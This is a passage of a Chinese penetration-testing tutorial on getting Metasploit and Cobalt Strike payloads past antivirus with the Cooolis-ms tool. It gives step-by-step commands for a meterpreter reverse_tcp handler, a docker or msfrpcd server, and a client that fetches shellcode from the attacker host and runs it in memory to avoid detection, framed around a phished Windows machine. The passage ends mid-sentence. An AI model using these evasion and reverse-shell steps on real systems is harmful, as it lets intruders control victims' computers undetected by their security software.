渗透测试之地基免杀篇:C2、RPC、加载内存三种方式全免杀
系列文章
专辑:渗透测试之地基篇
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
内网渗透的后渗透阶段过程中,最主要的问题就是免杀,如果服务器安装了杀软,上传EXP进行提权和隧道工具都会受到影响,对于CS/MSF两大内网维持权限等工具可以使用加载shellcode的方式进行免杀提权,但是一般的免杀都要涉及到常用的工具或者修改源码、修改特征混淆等方式进行处理才能达到免杀效果,这种处理不但繁琐而且不具有通用性,开发一种通用性强的工具来进行免杀是非常必要的。
接下来将会介绍静态免杀的方法和思路,包含创建MSF-RPC服务端使用VirtualAlloc Windows API 向操作系统申请内存空间执行shellcode,还对ExternalC2创建命名通道,直接连接服务端免杀过程,以及进行内存加载分离上线C语言shellcode的过程,最后还会分析底层的一些源码原理和简单的分析。
二、环境介绍
黑客(攻击者):
IP:192.168.253.8
系统:kali.2020.4
Kali系统是黑客用于制作生成payload的环境。
VPS服务器:
IP:192.168.253.8
此次环境将使用kali2020.4进行模拟VPS服务器开启CS的https://www.freebuf.com/articles/web/teamserver服务。
办公区域:
系统:windwos 10
IP:192.168.253.17
存在:360、360杀毒、火绒、deferencer杀软检测。
目前黑客通过kali系统进行攻击行为,通过钓鱼获得了对方的权限后,发现对方电脑上存在360、360杀毒、火绒、deferencer直接被杀软进行了查杀,无法进行反弹shell获得权限,如今将演示利用ExternalC2自创管道进行C2通信和MSF-RPC进行API免杀,以及内存加载免杀演示并控制对方的过程。
三、环境部署
https://github.com/Rvn0xsy/Cooolis-ms/releases/tag/refs%2Fheads%2Fmaster
只需要将该工具下载到本地即可,最后会对源码进行分析和拓展思路。
四、免杀演示
1、MSF Docker免杀
首先作者搭建好了Docker,我们只需要镜像过来,作为渗透过程中一个方便的容器。
proxychains git clone https://github.com/Rvn0xsy/Cooolis-ms.git
下载源码到kali本地。
git pull
查看已经是最新的版本。
docker-compose up -d
进入docker文件夹,将docker镜像,等待几分钟完成。
docker-compose config
docker-compose ps
可发现已经成功镜像后,并开启了8899端口服务,类似于一个服务端。
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.253.8; set lport 8876; exploit -j; "
这里打开MSF监听,地址为本地IP,端口自定义即可。(为了方便我在本地部署)
Cooolis-ms.exe metasploit -p windows/x64/meterpreter/reverse_tcp -o LHOST=192.168.253.8,LPORT=8876,Format=dll -H 192.168.253.8 -P 8899
可看到执行命令后,通过Cooolis轻量级工具自动生成msf的shellcode,而不需要繁琐的在msf环境下进行生成,Cooolis并且支持所有的payload模块,执行后四件套杀软都未报毒和阻碍。
可看到成功上线,并且进行正常交互,并未被杀软阻碍,达到了全免杀的效果。
该执行的是shellcode加载内存Format=dll上线的,上线的是rundll32.ex程序,该原理我简单讲解下:
1. 客户端执行Cooolis.exe运行后,会向8899的docker服务端取回对应的木块shellcode。 2. 当docker server接收到请求后,会调用内置的API Method,然后登录到MSF监听的本地端。 3. 最后本地端会把生成好的shellcode回传,最终到达客户端,上线console(监听上线)
其中可看到客户端和docker server是分离的,客户端和监听端也是分离的,docker server和监听端也是分离的,三者都可以部署在三台服务设备上,但原理是客户端得经过docker在找到监听端才可上线成功,其中运用了dll内存加载,中间的dll内存原理是把shellcode通过tcp请求,使用API获取赋值到内存缓存数组,动态分配内存执行shellcode达到免杀的效果。
2、MSF RPC免杀
经过作者搭建好的docker server可能不太好理解原理,那么接下来我们利用msfrpcd搭建自己的服务端server进行演示API建立的过程达到免杀。
1)源码部署
pip3 install -r requirements.txt
首先需要下载该server.py匹配模块,该模块主要配合Metasploit的RPC服务接口手册写的。
2)开启msfrpc-server
msfrpcd -U msf -P msf -u /api/1.0/
创建一个msfrpc服务,-P参数后面指定连接到的RPC服务需要提供的口令,-U参数指定连接所需输入的用户名,未填写IP是默认为127.0.0.1。
如果MSF-RPC搭建在另外的服务器